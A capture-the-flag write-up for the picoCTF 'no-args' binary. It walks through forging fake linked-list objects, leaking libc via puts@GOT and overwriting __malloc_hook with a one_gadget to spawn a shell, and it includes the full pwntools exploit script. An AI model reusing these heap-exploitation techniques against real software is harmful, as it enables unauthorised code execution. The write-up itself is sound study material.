Now how do we pwn this binary with this arbitrary write?  Let's create two fake problem objects in writeable sections of the binary.  Because of earlier conditions, let us make a fake problem object with the name "no-args" (such a problem is also allocated in the first 8 initial allocations of original problems).  It's next pointer will then point to another fake problem object; let's make its name point to puts@GOT and its next be null.  We also initially nominate another problem, where we make the second 8 bytes be the pointer to a region in bss that contains the pointer to the name of the fake "no-args" and then the fake problem with the GOT pointer.  Why can't we just make the next problem pointer in fake "no-args" just be directly to GOT?  Well if that's the case, the way this program lists problems via the linked list will cause it to think that the next problem is in libc; of course this will leak it when you list choices, but then adjacent to that libc location is another non null address.  It will then think of that as another next problem and its attempt to treat it as such will cause a segfault.  Also regarding the initial nomination; although it will be just a name in the beginning, in order to fake it like a problem object, we need the first 8 bytes to point to a valid location.  However, the first 8 bytes must not contain any nulls; even though get_line uses read, the add_problem function uses strdup.  Where can we find such an address that also points to valid data?  VSyscall.  This region is used to help accelerate syscalls; it also doesn't change in memory addresses.  Here's the procedure above written in python exploit form:
nominate(p64(0xffffffffff6003f0) + p64(0x602040))
write(0x602500, 'no-args')
write(0x602600, p64(binary.got['puts']))
write(0x602040, p64(0x602500) + p64(0x602600))

So now, we have crafted the fake objects nicely.  Now, how do we make the problem link list use our data?  Simple... one byte overwrite on the heap.  I had to nominate another problem before the nomination above for the heap layout to work; otherwise, I would have needed to overwrite 2 bytes, which is not possible to always work without a heap leak.  Then, while debugging, you will notice the offset between the last valid problem in the linked list and the location of your fake problem object (which contains the vsyscall address and then the pointer to the fake 'no-args' problem).  For me, the offset was 0x20 (I needed the linked list to hit the 0x70 but while it was valid, it was stuck at 0x50).  Doing this is simple:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602028 - 0x10) + '\x20')

Afterwards, listing the problem can leak libc address and then calculating libc base becomes trivial.  Now, let's finally pwn this problem.  Note that throughout this process, if I want to nominate again, I need to change the state variable back so that I can nominate; choose problem sets the state as too high of a value at 2.  I simply used our arbitrary write capabilities to change it back to 0 in the following way:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602020 - 0x10) + '\xfe')

Now as for popping shells, I decided to target malloc hook once again.  I chose the following one_gadget in libc 2.23.

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL


Then after overwriting malloc hook in the following manner:

write(libc.address + 0x3c4b10, p64(libc.address + 0xf02a4))

I nominated a new problem so malloc (or magic one gadget now) will be called... I needed to pad my nomination with nulls to satisfy the constraint shown by one_gadget.  Here's the final exploit (no-args actually no longer works on picoCTF servers for some reason, so I could only do it locally... really would have loved this flag honestly):
from pwn import *

binary = ELF('./no-args')
libc = ELF('./libc-2.23.so')
#context.log_level = 'debug'
time = 0.1
remote = ssh(host='10.0.2.4', user='will', password='123456789')
remote.set_working_directory('/home/will/noargs')
context(arch='amd64')
p = remote.process('./no-args')

def wait():
p.recvrepeat(time)

def nominate(problem):
wait()
p.sendline('1')
wait()
p.sendline(problem)

def vote(listProblems, choose, problem='', forChoose =''):
wait()
p.sendline('2')
if listProblems is True:
wait()
p.sendline('y')
temp = p.recvuntil('\nWhich Problem do you want to vote for?').split('\nWhich Problem do you want to vote for?')[0].split('Current Choices\n')[1]
problems = temp.split('  - ')[1:]
for i in range(len(problems)):
problems[i] = problems[i].split('\n' + str(i + 1))[0]
p.sendline() #extra line to get back to prompt
return problems
else:
wait()
p.sendline('n')

if choose is True:
wait()
p.sendline('choose')
wait()
p.sendline(forChoose)
else:
wait()
p.sendline(problem)

def write(address, data): #give data as packed string, address as int
offset = 0
for i in data:
#0x10 related to struct layout for problem objects, so you actually write in right place
if ord(i) > 0x7f:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + '\x7f')
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + chr(ord(i) - 0x7f))
else:
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(address - 0x10 + offset) + i)
offset+=1

nominate('A'*16)
#p.interactive()
#find all the addresses to write with vmmap, need the first part to be a valid pointer in nomination but has no null bytes
#0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
nominate(p64(0xffffffffff6003f0) + p64(0x602040)) #name is bunch of ffs so keep reading in (no null byte bc strdup in add problem), will fix later, 0x602040 is where fake problem will be
#write no-args somewhere
write(0x602500, 'no-args') #pointer to duplicate of no-args
write(0x602600, p64(binary.got['puts'])) #points to puts@GOT
write(0x602040, p64(0x602500) + p64(0x602600)) #fake problem structure, name and next written, next points to another fake problem with just a name
#make link list use our fake problem
'''
0xfa41d0: 0x0000000000fa41f0 0x0000000000fa4190 <- this was the lowest one in heap before my nomination
0xfa41e0: 0x0000000000000004 0x0000000000000021
0xfa41f0: 0x00736772612d6f6e 0x0000000000000000
0xfa4200: 0x0000000000000000 0x0000000000000021
0xfa4210: 0x0000000000fa4230 0x0000000000fa41d0
0xfa4220: 0x0000000000000002 0x0000000000000021 <-made afterwards
0xfa4230: 0xffffffffffffffff 0x0000000000602040
0xfa4240: 0x0000000000000000 0x0000000000020dc1
'''

#that above won't allow for one byte overwrite, need two byte, requiring heap leak
#so nominate one before too
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602028 - 0x10) + '\x20') #not just overwriting, making it add up to the location 8 bytes before where 0x602040 is referenced on the heap, debug to figure out how to make it work, so one more sort of like object than points there to the fake problem and leak
#time for leaking
temp = vote(listProblems=True, choose=False)[2]
libc.address = u64(temp.ljust(8, '\x00')) - libc.symbols['puts']
log.info('LEAKED LIBC BASE: ' + hex(libc.address))
#00000000003c4b10 <__malloc_hook@@GLIBC_2.2.5>:
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
log.info('Overwriting malloc hook!')
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602020 - 0x10) + '\xfe')
write(libc.address + 0x3c4b10, p64(libc.address + 0xf02a4)) #need to vote again, overwrite other bss variable, at 0x602020, add 0xfe to make 0 again
#p.interactive()
vote(False, True, '', 'yes'.ljust(32, '\x00') + p64(0x602020 - 0x10) + '\xfe')
#p.interactive()
log.info('Popping shells!')
nominate('pwn!' + '\x00'*28)
p.interactive()

A wonderful problem overall!  I learned a lot!  Hope all of you enjoy this writeup too!